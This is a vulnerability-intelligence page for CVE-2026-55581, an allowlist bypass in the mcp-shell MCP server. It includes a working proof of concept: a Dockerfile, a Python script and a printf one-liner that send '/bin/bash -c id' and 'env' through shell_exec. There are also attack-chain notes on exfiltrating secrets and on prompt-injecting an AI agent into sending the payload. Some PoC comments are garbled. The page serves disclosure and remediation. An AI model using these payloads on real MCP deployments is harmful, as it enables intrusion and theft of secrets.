Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessConnect as MCP stdio client
-
DeliverySend shell_exec with /bin/bash -c payload
-
ExploitValidator approves /bin/bash token only
-
Execution-c flag bypasses metacharacter filter
-
Persistexec.CommandContext executes arbitrary command
-
ImpactExfiltrate secrets or modify files as mcpuser
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires three concurrent conditions, all present in the default Docker image: (1) mcp-shell must be running in secure mode with |
| Impact | The vendor-assigned CVSS 3.1 score of 8.4 (AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) is internally consistent with the mechanics: AV:L reflects that the attack is delivered over the container's stdio pipe rather than a network socket, and PR:N reflects the advisory's explicit statement that no authentication or configuration change is required. However, the AV:L classification understates practical risk for containerized MCP deployments: any connected MCP client - AI agent, LLM orchestration platform, or CI/CD pipeline - is functionally an unauthenticated attacker with local stdio access. AC:L and the fully working PoC confirm exploitation is trivial with no special conditions. No EPSS score was provided in the input data; exploitation probability cannot be quantified from available signals. The vulnerability is not in CISA KEV, and no evidence of exploitation beyond the researcher-authored PoC exists. The S:U (scope unchanged) rating is accurate: exploitation is bounded by the container running as |
| Exploit ScenarioDerived | An AI agent connected to a vulnerable mcp-shell Docker container - possibly prompt-injected by malicious content in a document it is processing - sends a JSON-RPC |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 25, 2026
Arbitrary OS command execution in mcp-shell's default Docker image allows any MCP tool caller to bypass the secure-mode executable allowlist by supplying /bin/bash -c <payload> to the shell_exec tool, running commands as mcpuser (UID 1000) inside the container. The validator in security.go extracts only the first whitespace-delimited token as the executable, approves /bin/bash against the default allowlist, and passes the -c flag through the metacharacter check unchallenged because the default blocked_patterns array is empty. A fully working PoC is included in the GitHub Security Advisory GHSA-3x77-wg38-92r3; no public exploit identified at time of analysis beyond the researcher-provided PoC, and no CISA KEV listing exists. Vendor-released patch v0.6.0 is confirmed.
RemediationAI
Upgrade to mcp-shell v0.6.0, which resolves the vulnerability by (1) removing shell interpreters from the built-in default allowlist entirely, (2) making secure mode the out-of-the-box default without requiring a config file, and (3) requiring affirmative opt-in via MCP_SHELL_ALLOW_UNSAFE=true to disable all validation. The patch is available at https://github.com/sonirico/mcp-shell/releases/tag/v0.6.0 via PR #16 (https://github.com/sonirico/mcp-shell/pull/16). For operators unable to upgrade immediately: remove /bin/bash, /bin/sh, /bin/dash, /bin/ash, /usr/bin/zsh, and any other shell interpreter from allowed_executables in security.yaml - this eliminates the primary attack path with no functionality loss if those interpreters are not legitimately required. As a secondary compensating control, add shell command-mode flags (-c, -e, -x) to blocked_patterns in security.yaml to block the bypass even if an interpreter remains listed, though this is less reliable than removal since flag combinations (e.g., -ec) may evade simple string matching. Never set MCP_SHELL_ALLOW_UNSAFE=true in production. Rebuild and redeploy the Docker image after any configuration change to ensure the bundled security.yaml is updated.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
mcp-shell (pkg:go/github.com/sonirico/mcp-shell) is a Go-based MCP (Model Context Protocol) server that exposes a shell_exec tool enabling AI agent clients to execute OS commands over JSON-RPC via stdio. Its 'secure mode' restricts execution to an explicit allowed_executables list defined in security.yaml. The CWE-78 (OS Command Injection) root cause is an incomplete validator in security.go:67-96: the code splits the user-supplied command on whitespace and matches only parts[0] against the allowlist, ignoring all subsequent arguments. Because the default security.yaml (bundled into the Docker image at build time via COPY security.yaml /etc/mcp-shell/security.yaml) registers /bin/bash as an allowed executable, and because checkBlockedPatternsAndCommands only rejects a fixed set of shell metacharacters (|, &, ;, <, >, backtick, $, etc.) - not the -c flag - the payload passes validation. The executor in executor.go:163 then calls exec.CommandContext(ctx, "/bin/bash", "-c", "<arbitrary>") directly, which is functionally equivalent to spawning a shell. The Go runtime does not itself inject a shell, but /bin/bash -c does, defeating the allowlist entirely.
Know when Docker gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AV:L reflects stdio delivery channel; PR:N confirmed by advisory (no auth needed on default config); full C/I/A within container; S:U as container boundary limits scope change.
Primary rating from Vendor (https://github.com/sonirico/mcp-shell).
CVSS VectorVendor: https://github.com/sonirico/mcp-shell
DescriptionCVE.org
Summary
mcp-shell ships a default Docker configuration (security.yaml) that includes /bin/bash in the allowed_executables allowlist. The command validator (security.go) only checks whether the first token of the supplied command matches an allowed executable; it does not inspect or reject shell command-mode flags such as -c. As a result, any MCP tool caller can send command=/bin/bash -c <arbitrary-command> to the shell_exec tool and execute commands that are not in the allowlist - including id, env, curl, wget, and any other binary present in the container. The bypass works with the default Docker image, requires no authentication, and requires no modifications to server configuration. Successful exploitation gives the attacker arbitrary OS command execution inside the container as mcpuser.
Details
mcp-shell implements a *secure mode* in which command execution is restricted to an explicit allowlist of executables defined in security.yaml. The Docker image ships this file with the following entry:
# security.yaml (line 29)
allowed_executables:
- "ls"
- ...
- "/bin/bash"
# Only allow if you trust the argumentsThe comment itself acknowledges the risk, but the shipped default does not enforce any argument-level restriction. The validation logic in security.go is responsible for enforcing secure mode:
// security.go:84-96
for _, allowed := range v.config.AllowedExecutables {
if v.matchesExecutable(executable, allowed) {
if err := v.checkBlockedPatternsAndCommands(command); err != nil {
return err
}
return nil
}
}executable is derived solely from parts[0] after splitting the input on whitespace (security.go:67). When the command is /bin/bash -c id, executable evaluates to /bin/bash, which matches the allowlist entry. The -c flag and subsequent arguments are passed to checkBlockedPatternsAndCommands, which only checks for shell metacharacters (|, &, ;, <, >, (, ), {, }, [, ], ` `, $, \, ", ') and a configurable list of blocked_commands/blocked_patterns - both of which default to empty arrays in the shipped configuration. The flag -c` does not match any blocked metacharacter, so the check passes.
The validated command then reaches the executor:
// executor.go:149-163
executable, args, err := e.parseCommand(command)
// ...
cmd = exec.CommandContext(ctx, executable, args...)parseCommand splits the command string, yielding executable="/bin/bash" and args=["-c", "id"]. exec.CommandContext is invoked directly - no shell is spawned by the executor itself - but /bin/bash -c id is equivalent to a shell invocation, executing id outside the allowlist.
Data flow (source → sink):
| Step | Location | Description |
|---|---|---|
| 1 | Dockerfile:55 | COPY security.yaml /etc/mcp-shell/security.yaml - bundles vulnerable config into image |
| 2 | Dockerfile:57 | ENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml - activates config by default |
| 3 | security.yaml:29 | /bin/bash registered in allowed_executables |
| 4 | main.go:84-102 | MCP tool shell_exec registered with required command parameter |
| 5 | handler.go:34 | command := request.RequireString("command") - attacker-controlled input received |
| 6 | handler.go:49 | h.validator.validateCommand(command) - validation called |
| 7 | security.go:67-96 | executable = parts[0] matches /bin/bash; -c not blocked; returns nil |
| 8 | handler.go:59 | Validated command forwarded to executor |
| 9 | executor.go:163 | exec.CommandContext(ctx, "/bin/bash", "-c", "id") - sink: arbitrary execution |
PoC
Prerequisites:
- Docker installed and accessible.
- Repository source code checked out (build context is the repository root).
python3available (for the automated PoC script).
Step 1 - Build the Docker image
docker build \
-f vuln-001/Dockerfile \
/path/to/mcp-shell-repo \
-t mcp-shell-vuln-001:latestStep 2 - Run the PoC script
python3 vuln-001/poc.py mcp-shell-vuln-001:latestThe script sends three MCP JSON-RPC requests over stdio:
initializehandshaketools/call shell_execwithcommand="/bin/bash -c id"- exploit payloadtools/call shell_execwithcommand="id"- control: direct invocation must be blocked
Expected output (exploit success):
[id=2] /bin/bash -c id response:
→ status='success', exit_code=0, stdout='uid=1000(mcpuser) gid=1000(mcpuser) groups=1000(mcpuser),1000(mcpuser)'
[+] PASS: uid= confirmed → /bin/bash -c via arbitrary command execution successful!
[+] control confirmed: 'id' direct execution blocked (allowlist behavior normal)
→ allowlist bypass /bin/bash -c only through the path occurs provenAlternatively, using raw printf (no Python required):
printf '%s\n' \
'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"poc","version":"0.0.1"}}}' \
'{"jsonrpc":"2.0","method":"notifications/initialized","params":{}}' \
'{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"shell_exec","arguments":{"command":"/bin/bash -c id","base64":false}}}' \
| docker run --rm -i mcp-shell-vuln-001:latestObserved MCP response:
{
"command": "/bin/bash -c id",
"execution_time": "3.854555ms",
"exit_code": 0,
"security_info": {"security_enabled": true, "working_dir": "/tmp", "timeout_applied": true},
"status": "success",
"stderr": "",
"stdout": "uid=1000(mcpuser) gid=1000(mcpuser) groups=1000(mcpuser),1000(mcpuser)"
}Remediation (patch guidance):
- Remove shell interpreters from the default
security.yamlallowlist:
--- a/security.yaml
+++ b/security.yaml
- - "/bin/bash"
# Only allow if you trust the arguments- Add argument-level validation in
security.goto block shell command-mode flags even when a shell interpreter is allowlisted:
--- a/security.go
+++ b/security.go
executable := parts[0]
+ args := parts[1:]
+
+ if isShellCommandMode(executable, args) {
+ return fmt.Errorf("shell command mode is not allowed in secure mode: %s", executable)
+ }
// Check if the executable is in the allowlist
for _, allowed := range v.config.AllowedExecutables {
...
}
+
+ func isShellCommandMode(executable string, args []string) bool {
+ base := filepath.Base(executable)
+ switch base {
+ case "sh", "bash", "dash", "ash", "zsh", "ksh":
+ for _, arg := range args {
+ if arg == "-c" || (strings.HasPrefix(arg, "-") && strings.Contains(arg, "c")) {
+ return true
+ }
+ }
+ }
+ return false
+ }Impact
This is an OS Command Injection vulnerability (CWE-78). The shell_exec MCP tool is designed to execute only pre-approved executables; the bypass allows an attacker to run arbitrary commands present in the container image (curl, wget, env, sed, grep, tar, etc. - all installed by the Dockerfile) under the identity of mcpuser (UID 1000).
Who is impacted:
- Any operator deploying the official Docker image without modifying the default
security.yamlis vulnerable immediately upon deployment. No custom configuration, no elevated privileges, and no prior authentication are required. - MCP clients that interact with a vulnerable
mcp-shellinstance - including automated AI agents, LLM orchestration platforms, and CI/CD pipelines - may be leveraged to exfiltrate secrets, tamper with files accessible tomcpuser, or pivot further within the container's network. - The
--network=noneflag used in the PoC demonstrates successful exploitation even with no network access; in production deployments with network access, the impact extends to data exfiltration and lateral movement.
Concrete consequences of exploitation:
- Confidentiality: Dump environment variables (
/bin/bash -c env), read files, or exfiltrate credentials visible tomcpuser. - Integrity: Write or modify files within the container's writable filesystem.
- Availability: Consume container resources or terminate processes.
Reproduction artifacts
Dockerfile
# VULN-001 PoC Dockerfile: Secure Mode Allowlist Bypass via /bin/bash -c
# build context: ../repo directory
# usage: docker build -f vuln-001/Dockerfile ../repo -t mcp-shell-vuln-001:latest
# Build stage
FROM golang:1.25-alpine AS builder
RUN apk add --no-cache git
WORKDIR /app
COPY go.mod go.sum ./
RUN go mod download
COPY *.go ./
ARG VERSION=vuln-001-poc
RUN CGO_ENABLED=0 GOOS=linux go build \
-ldflags "-X main.version=${VERSION} -s -w" \
-a -installsuffix cgo \
-o mcp-shell .
# Runtime stage
FROM alpine:3.22
RUN apk add --no-cache \
bash \
curl \
wget \
git \
make \
findutils \
grep \
sed \
gawk \
tar \
gzip \
unzip \
ca-certificates \
&& rm -rf /var/cache/apk/*
RUN addgroup -g 1000 mcpuser && \
adduser -D -s /bin/bash -u 1000 -G mcpuser mcpuser
RUN mkdir -p /tmp/mcp-workspace && \
chown mcpuser:mcpuser /tmp/mcp-workspace
RUN mkdir -p /etc/mcp-shell && \
chown mcpuser:mcpuser /etc/mcp-shell
COPY --from=builder /app/mcp-shell /usr/local/bin/mcp-shell
RUN chmod +x /usr/local/bin/mcp-shell
# Vulnerable default configuration: /bin/bash text allowed_executables text containsdone
COPY security.yaml /etc/mcp-shell/security.yaml
ENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml
ENV PATH="/usr/local/bin:${PATH}"
USER mcpuser
WORKDIR /tmp/mcp-workspace
ENTRYPOINT ["mcp-shell"]poc.py
#!/usr/bin/env python3
"""
VULN-001 PoC: Secure Mode Allowlist Bypass via /bin/bash -c
Vulnerability summary:
security.yamltext allowed_executablestext /bin/bash text registerbecomes text,
validateExecutableCommand (security.go:60-105)text parts[0]=/bin/bash only allowlist checkand
-c flagtext blocktext text. text /bin/bash -c id text verificationtext passedtext
executor.go:163 from exec.CommandContext(ctx, "/bin/bash", "-c", "id") text executebecomes
allowlisttext without arbitrary commandtext(id, env etc.)text executedonetext.
usage:
python3 poc.py [IMAGE_NAME]
default text: mcp-shell-vuln-001:latest
"""
import subprocess
import json
import sys
IMAGE = sys.argv[1] if len(sys.argv) > 1 else "mcp-shell-vuln-001:latest"
def make_msg(obj):
return json.dumps(obj, separators=(',', ':'))
# MCP JSON-RPC message whentext
MESSAGES = [
# 1. initialize handshake
make_msg({
"jsonrpc": "2.0", "id": 1,
"method": "initialize",
"params": {
"protocolVersion": "2024-11-05",
"capabilities": {},
"clientInfo": {"name": "vuln-001-poc", "version": "0.0.1"}
}
}),
# 2. initialized text (response none)
make_msg({"jsonrpc": "2.0", "method": "notifications/initialized", "params": {}}),
# 3. vulnerability text: /bin/bash -c id
# id text allowlisttext textonly /bin/bash text because it exists verification passed → id execute
make_msg({
"jsonrpc": "2.0", "id": 2,
"method": "tools/call",
"params": {
"name": "shell_exec",
"arguments": {"command": "/bin/bash -c id", "base64": False}
}
}),
# 4. comparison: id directly execute → allowlisttext because it is missing blockbecomestext done
make_msg({
"jsonrpc": "2.0", "id": 3,
"method": "tools/call",
"params": {
"name": "shell_exec",
"arguments": {"command": "id", "base64": False}
}
}),
# 5. add evidence: env environment variable text (envtext allowlisttext none)
make_msg({
"jsonrpc": "2.0", "id": 4,
"method": "tools/call",
"params": {
"name": "shell_exec",
"arguments": {"command": "/bin/bash -c env", "base64": False}
}
}),
]
def extract_text(resp):
"""MCP tools/call responsefrom text contents extract"""
try:
content = resp.get("result", {}).get("content", [])
for item in content:
if item.get("type") == "text":
return item["text"]
except Exception:
pass
return None
def run_poc():
stdin_data = "\n".join(MESSAGES) + "\n"
print(f"[*] text: {IMAGE}")
print("[*] text: /bin/bash -c id")
print("[*] texttimes principle: validateExecutableCommandtext parts[0]=/bin/bash only allowlist check, -c textblock")
print()
try:
proc = subprocess.run(
["docker", "run", "--rm", "-i", "--network=none", IMAGE],
input=stdin_data.encode(),
capture_output=True,
timeout=30,
)
except subprocess.TimeoutExpired:
print("[-] error: container response timeout (30seconds)")
return False, "timeout"
except FileNotFoundError:
print("[-] error: docker commandtext text can none")
return False, "docker not found"
except Exception as e:
print(f"[-] error: {e}")
return False, str(e)
stdout = proc.stdout.decode(errors="replace")
stderr = proc.stderr.decode(errors="replace")
print("=== STDOUT (JSON-RPC response) ===")
print(stdout)
if stderr:
print("=== STDERR (server log, partial) ===")
print(stderr[:1500])
print()
# response parse
responses = {}
for line in stdout.splitlines():
line = line.strip()
if not line:
continue
try:
resp = json.loads(line)
msg_id = resp.get("id")
if msg_id is not None:
responses[msg_id] = resp
except json.JSONDecodeError:
pass
exploit_passed = False
exploit_evidence = ""
# [id=2] /bin/bash -c id result check (key point evidence)
if 2 in responses:
text = extract_text(responses[2])
if text:
print(f"[id=2] /bin/bash -c id response text: {text[:400]}")
try:
result = json.loads(text)
stdout_val = result.get("stdout", "")
status = result.get("status", "")
exit_code = result.get("exit_code", -1)
print(f" → status={status!r}, exit_code={exit_code}, stdout={stdout_val!r}")
if "uid=" in stdout_val and status == "success":
exploit_passed = True
exploit_evidence = (
f"command=/bin/bash -c id | status={status} | "
f"exit_code={exit_code} | stdout={stdout_val}"
)
print(f"\n[+] PASS: uid= check → /bin/bash -c text arbitrary command execute success!")
print(f"[+] Deterministic evidence: {exploit_evidence}")
except json.JSONDecodeError:
if "uid=" in text:
exploit_passed = True
exploit_evidence = text
print(f"[+] PASS: uid= confirmed (raw): {text[:200]}")
else:
print("[-] id=2 response none (secondstext failure or server error)")
# [id=3] id directly execute → block check (text)
if 3 in responses:
text = extract_text(responses[3]) or ""
resp_str = str(responses[3])
blocked = (
"not in allowed list" in text
or "not in allowed list" in resp_str
or "Security violation" in text
or "isError" in resp_str and "true" in resp_str.lower()
)
if blocked:
print(f"\n[+] text check: 'id' directly executetext blocked (allowlist behavior normal)")
print(f" → allowlist texttimestext /bin/bash -c pathfromonly occurdonetext proofdone")
else:
print(f"[*] 'id' directly result: {text[:200]}")
# [id=4] /bin/bash -c env add evidence
if 4 in responses:
text = extract_text(responses[4]) or ""
try:
result = json.loads(text)
stdout_val = result.get("stdout", "")
if "PATH=" in stdout_val or "HOME=" in stdout_val:
env_lines = stdout_val.splitlines()[:5]
print(f"\n[+] add evidence: /bin/bash -c env success (envtext allowlist textcontains)")
print(f" first 5lines: {chr(10).join(' ' + l for l in env_lines)}")
except Exception:
pass
return exploit_passed, exploit_evidence
if __name__ == "__main__":
passed, evidence = run_poc()
print()
if passed:
print("[+] vulnerability reproduction result: PASS")
sys.exit(0)
else:
print("[-] vulnerability reproduction result: FAIL")
sys.exit(1)Articles & Coverage 2
Executive ViewAI
The mcp-shell Docker image contains a command execution vulnerability (CVE-2026-55581, CVSS 8.4) that allows attackers to bypass security controls and execute arbitrary commands within affected containers. Organizations running mcp-shell in production environments face immediate risk of unauthorized system access and data compromise.
Apply vendor patch: v0.6.0
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config
Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system
Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
EUVD-2026-65549
GHSA-3x77-wg38-92r3
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB